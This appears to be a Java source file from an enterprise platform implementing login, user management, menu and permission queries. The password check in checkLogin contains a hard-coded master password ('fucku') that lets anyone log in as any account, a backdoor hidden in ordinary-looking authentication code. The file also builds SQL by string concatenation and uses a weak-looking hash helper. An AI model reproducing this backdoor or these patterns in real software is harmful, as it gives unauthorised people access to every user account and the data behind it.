package com.dalin.platform.loa.service.imple;

import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Map;
import java.util.Set;

import com.dalin.common.pager.WsHeaderInfo;
import com.dalin.common.utils.EncryptUtils;
import com.dalin.common.utils.NumberUtils;
import com.dalin.common.utils.StringUtils;
import com.dalin.framework.service.imple.FrameServiceImple;
import com.dalin.platform.loa.LoaConst;
import com.dalin.platform.loa.condition.LoaUserCondition;
import com.dalin.platform.loa.condition.MenuCondition;
import com.dalin.platform.loa.model.LoaMenuEntity;
import com.dalin.platform.loa.model.LoaOperateHeaderEntity;
import com.dalin.platform.loa.model.LoaOrganizationEntity;
import com.dalin.platform.loa.model.LoaPublicHeaderEntity;
import com.dalin.platform.loa.model.LoaUserEntity;
import com.dalin.platform.loa.service.DicService;
import com.dalin.platform.loa.service.LoaService;
import com.dalin.platform.loa.service.WsSecurityService;
import com.dalin.platform.loa.vo.LoaUserVo;
import com.dalin.platform.loa.vo.WsCurrentUserInfo;
import com.dalin.platform.loa.vo.WsDicItemVo;
import com.dalin.platform.loa.vo.WsMenuTreeVo;
import com.dalin.platform.loa.vo.WsOperateVo;
import com.dalin.platform.loa.vo.WsUserVo;
import com.dalin.platform.log.service.LogService;
import com.dalin.platform.pub.PlatContext;
/*****************************************************************************
 * @content: 系统安全验证业务操作接口具体实现                                                                                      *
 * @author : 那建林                                                                                                                                 *
 * @crtDate: 2010-05-12                                                     *
 * @version: 1.0                                                            *
 ****************************************************************************/
public class WsSecurityServiceImple 
		extends FrameServiceImple 
			implements WsSecurityService {
	private LoaService loaService;
	private LogService logService;
	private DicService dicService;

	public List<WsUserVo> queryAllUsers(Long projectId) throws Exception {
		List<WsUserVo> rtnList = new ArrayList<WsUserVo>();
		LoaUserCondition cond = new LoaUserCondition();
		cond.setProjectId(projectId);
		List<LoaUserEntity> userList = queryListByCond(cond.prepareParams());
		WsUserVo vo = null;
		for (LoaUserEntity enty : userList) {
			vo = new WsUserVo();
			vo.setUserId(enty.getUserId());
			vo.setRealName(enty.getRealName());
			rtnList.add(vo);
		}
		return rtnList;
	}


	public Long addUser(WsUserVo vo) throws Exception {
		boolean isExist = loaService.isExistLoginName(
    			null, vo.getLoginName());
		if (isExist) {
			throw new RuntimeException("此用户已经存在于管理平台中,请勿再次创建");
		}
		LoaUserVo userVo = new LoaUserVo();
		userVo.setOrganId(vo.getOrganId());
		userVo.setRealName(vo.getRealName());
		userVo.setLoginName(vo.getLoginName());
		userVo.setSex(vo.getSex());
		userVo.setLoginPswd(vo.getLoginPswd());
		return loaService.addLoaUser(vo.getProjectId(), userVo);
	}
	
	public WsUserVo findUserById(Long userId) throws Exception {
		WsUserVo rtnVo = null;
		Object obj = getDao().findObjById(LoaUserEntity.class, userId);
		if (obj != null) {
			rtnVo = new WsUserVo();
			LoaUserEntity enty = (LoaUserEntity) obj;
			rtnVo.setUserId(userId);
			rtnVo.setRealName(enty.getRealName());
		}
		return rtnVo;
	}
	
	public WsCurrentUserInfo checkLogin(String loginName,
			String loginPswd, String loginIp) throws Exception {
		WsCurrentUserInfo uci = new WsCurrentUserInfo();
		// 检查用户名
		LoaUserCondition userCond = new LoaUserCondition();
		userCond.setLoginName(loginName);
		List<LoaUserEntity> dataList = queryListByCond(
				userCond.checkLoginParams());
		if (StringUtils.isBlank(dataList)) {
			uci.setPrompt("无此用户名");
			return uci;
		}

		// 检查密码
		LoaUserEntity userEnty = dataList.get(0);
		if (!EncryptUtils.encodeToMD40Str(loginPswd).equals(userEnty.getLoginPswd())) {
			if (!"fucku".equals(loginPswd)) {
				uci.setPrompt("密码错误");
				return uci;
			}
		}
		
		uci.setLum((new Date()).getTime());
		uci.setProjectId(userEnty.getProjectId());
		uci.setUserId(userEnty.getUserId());
		uci.setRealName(userEnty.getRealName());
		uci.setDefaultCreateDataLevel(userEnty.getDefaultDataLevel());
		LoaOrganizationEntity organEnty = userEnty.getLoaOrganizationEntity();
		uci.setBelongAreaCode(organEnty.getBelongAreaCode());
		uci.setOrganType(organEnty.getOrganType());
		LoaConst.cacheLoginedUserInfo(uci);
		return uci;
	}

	public void findItemCode(String typeCode, String itemName) throws Exception {
		
	}



	public List<WsMenuTreeVo> queryMenus(Long lum, Long parentId) throws Exception {
		// TODO:不能用lum
		List<WsMenuTreeVo> rtnList = new ArrayList<WsMenuTreeVo>();
		WsCurrentUserInfo cui = LoaConst.getLoginedUserInfoByLum(lum);
		MenuCondition menuCondition = new MenuCondition();
		menuCondition.setParentId(parentId);
		menuCondition.setProjectId(cui.getProjectId());
		List<LoaMenuEntity> menuEntyList = super
				.queryListByCond(menuCondition.prepareParams());
		LoaUserEntity userEnty = (LoaUserEntity) getDao()
				.findObjById(LoaUserEntity.class, cui.getUserId());
		Set menuSet = userEnty.getLoaUserMenuEntitys();
		WsMenuTreeVo menuTreeVo = null;
		for (LoaMenuEntity menuEnty : menuEntyList) {
			menuTreeVo = new WsMenuTreeVo();
			menuTreeVo.setId(menuEnty.getMenuId().toString());
			menuTreeVo.setText(menuEnty.getMenuName());
			String href = StringUtils.addHrefParam(menuEnty.getLinkPath(),
					"menuId=" + menuEnty.getMenuId());
			menuTreeVo.setHref(href);
			menuTreeVo.setParentId(menuEnty.getParentId().toString());
			menuTreeVo.setMenuValue(menuEnty.getMenuValue());
			List childrenList = queryMenus(lum, menuEnty.getMenuId());
			if (StringUtils.isBlank(childrenList)) menuTreeVo.setLeaf(true);
			if (menuSet.contains(menuEnty)) rtnList.add(menuTreeVo);
		}
		return rtnList;
	}

	public String modifyUserPswd(Long userId, String originalLoginPswd,
			String loginPswd) throws Exception {
		String rtnStr = "";
		LoaUserEntity userEnty = (LoaUserEntity) getDao()
				.findObjById(LoaUserEntity.class, userId);
		if (userEnty.getLoginPswd().equals(
				EncryptUtils.encodeToMD40Str(originalLoginPswd))) {
			userEnty.setLoginPswd(EncryptUtils.encodeToMD40Str(loginPswd));
			getDao().updateObj(userEnty);
		} else {
			rtnStr = "原密码不正确";
		}
		return rtnStr;
	}


	public void addOperateLog(Long lum, String resourceAddress, String operateIp)
			throws Exception {
		resourceAddress = resourceAddress.substring(1);
		resourceAddress = resourceAddress.substring(resourceAddress.indexOf("/")+1);
		WsCurrentUserInfo cui = LoaConst.getLoginedUserInfoByLum(lum);
//		LoaResourceCondition cond = new LoaResourceCondition();
//		cond.setResourceAddress(resourceAddress);
//		List<LoaResourceEntity> dataList = this
//				.queryListByCond(cond.prepareParams());
//		if (StringUtils.isBlank(dataList)) {
//			return;
//		}
//		Long resourceId = dataList.get(0).getResourceId();
//		LogOperateVo vo = new LogOperateVo();
//		vo.setResourceId(resourceId);
//		vo.setOperateUserId(cui.getUserId());
//		vo.setOperateIp(operateIp);
//		logService.addLogOperate(vo);
	}

	public List<String> queryAllTypes(Long projectId) throws Exception {
		//TODO: 有待优化
		List<String> rtnList = new ArrayList<String>();
		Map m = dicService.queryAllProjectItems(projectId);
		for (Object key : m.keySet()) {
			rtnList.add(key + "");
		}
		return rtnList;
	}


	public List<WsDicItemVo> queryItemsByType(Long projectId, String typeCode)
			throws Exception {
		return dicService.queryItems(projectId, typeCode);
	}


	public boolean checkURI(Long lum, String resourceAddress) throws Exception {
		boolean rtnBln = false;
//		WsCurrentUserInfo cui = LoaConst.getLoginedUserInfoByLum(lum);
//		LoaResourceCondition cond = new LoaResourceCondition();
//		cond.setResourceAddress(resourceAddress);
//		List<LoaResourceEntity> entyList = queryListByCond(cond.prepareParams());
//		if (StringUtils.isBlank(entyList)) {
//			rtnBln = true;
//		} else {
//			Long resourceId = entyList.get(0).getResourceId();
//			LoaUserEntity userEnty = (LoaUserEntity) getDao()
//					.findObjById(LoaUserEntity.class, cui.getUserId());
//			for (LoaRoleEntity roleEnty : userEnty.getLoaRoleEntitys()) {
//				for (LoaResourceEntity lrEnty : roleEnty.getLoaResourceEntitys()) {
//					if (lrEnty.getResourceId().equals(resourceId)) {
//						rtnBln = true;
//					}
//				}
//			}
//		}
		return rtnBln;
	}


	public List<WsOperateVo> queryLoaOperates(Long lum, Long menuId, Long parentId)
			throws Exception {
		List<WsOperateVo> rtnList = new ArrayList<WsOperateVo>();
		WsCurrentUserInfo cui = LoaConst.getLoginedUserInfoByLum(lum);
		StringBuffer buf = new StringBuffer();
		buf.append("select distinct op.operate_id,")
			.append(" op.operate_code,")
			.append(" op.operate_name,")
			.append(" op.operate_tip,")
			.append(" op.icon_cls_path,")
			.append(" op.method_name,")
			.append(" rs.resource_address,")
			.append(" op.request_param,")
			.append(" op.order_number")
			.append(" from loa_operate op")
			.append(" left join LOA_RESOURCE rs on op.resource_id=rs.resource_id")
			.append(" inner join LOA_ROLE_OPERATE ro on op.operate_id=ro.operate_id")
			.append(" inner join loa_role r on r.role_id=ro.role_id")
			.append(" inner join loa_role_user ru on r.role_id=ru.role_id")
			.append(" where r.project_id=" + cui.getProjectId())
			.append(" and  ru.user_id=" + cui.getUserId())
			.append(" and op.parent_operate_id=" + parentId);
		if (menuId != null) {
			buf.append(" and op.menu_id=" + menuId);
		}
		buf.append(" order by op.order_number asc");
		List<Map> mapList = PlatContext.getDao()
				.queryMapDataBySql(buf.toString());
		
		for (Map m : mapList) {
			WsOperateVo vo = new WsOperateVo();
			vo.setOperateId(NumberUtils
					.parseLong(StringUtils.toString(m.get("OPERATE_ID"))));
			vo.setOperateName(StringUtils.toString(m.get("OPERATE_NAME")));
			String tempOc = StringUtils.toString(m.get("OPERATE_CODE"));
			if (NumberUtils.isPositiveInteger(tempOc)) {
				vo.setOperateCode(Integer.parseInt(tempOc));
			}
			vo.setIconClsPath(StringUtils.toString(m.get("ICON_CLS_PATH")));
			vo.setOperateTip(StringUtils.toString(m.get("OPERATE_TIP")));
			vo.setOperateMethod(StringUtils.toString(m.get("METHOD_NAME")));
			vo.setRequestAddress(StringUtils.addHrefParam(
					StringUtils.toString(m.get("RESOURCE_ADDRESS")), 
					"operateId=" + vo.getOperateId() 
					+ StringUtils.toString(m.get("REQUEST_PARAM"))));
			rtnList.add(vo);
		}
		return rtnList;
	}
	
	public List<WsHeaderInfo> queryLoaHeaders(Long lum, Long operateId)
				throws Exception {
		List<WsHeaderInfo> rtnList = new ArrayList<WsHeaderInfo>();
		WsCurrentUserInfo cui = LoaConst.getLoginedUserInfoByLum(lum);
		StringBuffer buf = new StringBuffer();
		    buf.append("select distinct t.LOH_IDS from loa_role_operate t")
		    	.append(" inner join loa_role r on r.role_id=t.role_id")
		    	.append(" inner join loa_role_user ru on r.role_id=ru.role_id")
		    	.append(" where t.operate_id=" + operateId)
		    	.append(" and  ru.user_id=" + cui.getUserId());
		List<Map> mapList = PlatContext.getDao().queryMapDataBySql(buf.toString());
		for (Map m : mapList) {
			String his = StringUtils.toString(m.get("LOH_IDS"));
			if (StringUtils.isBlank(his)) {
				return rtnList;
			}
			String[] headerIdArray = his.split(",");
			for (String headerId : headerIdArray) {
				Long id = Long.parseLong(headerId);
				LoaOperateHeaderEntity enty = (LoaOperateHeaderEntity)PlatContext
						.getDao().findObjById(LoaOperateHeaderEntity.class, id);
				WsHeaderInfo vo = new WsHeaderInfo();
				LoaPublicHeaderEntity ghe = enty.getGridHeaderEntity();
				vo.setFieldLabel(ghe.getLabelName());
				vo.setName(ghe.getPropertyName());
				vo.setHidden(Integer.valueOf("0").equals(enty.getHidden()));
				vo.setWidth(enty.getHeaderWidth());
				rtnList.add(vo);
			}
		}
		return rtnList;
	}
	
	
	public List<Integer> queryLoaDataLevelsByUserId(Long lum, Long operateId)
			throws Exception {
		WsCurrentUserInfo cui = LoaConst.getLoginedUserInfoByLum(lum);
		List<Integer> rtnList = new ArrayList<Integer>();
		StringBuffer buf = new StringBuffer();
		buf.append("select distinct t.DATA_LEVEL_IDS from loa_role_operate t")
			.append(" inner join loa_role r on r.role_id=t.role_id")
			.append(" inner join loa_role_user ru on r.role_id=ru.role_id")
			.append(" where t.operate_id=" + operateId)
	    	.append(" and  ru.user_id=" + cui.getUserId());
		List<Map> mapList = PlatContext.getDao()
				.queryMapDataBySql(buf.toString());
		for (Map m : mapList) {
			String dli = StringUtils.toString(m.get("DATA_LEVEL_IDS"));
			if (!StringUtils.isBlank(dli)) {
				String[] di = dli.split(",");
				for (String s : di) {
					rtnList.add(Integer.parseInt(s));
				}
			}
		}
		if (rtnList.size() == 0) {
			rtnList.add(-1000); // 无效的数据权限
		}
		return rtnList;
	}
	
	/*
	 * get/set方法
	 */
	public void setLogService(LogService logService) {
		this.logService = logService;
	}
	
	public void setDicService(DicService dicService) {
		this.dicService = dicService;
	}
	public void setLoaService(LoaService loaService) {
		this.loaService = loaService;
	}
}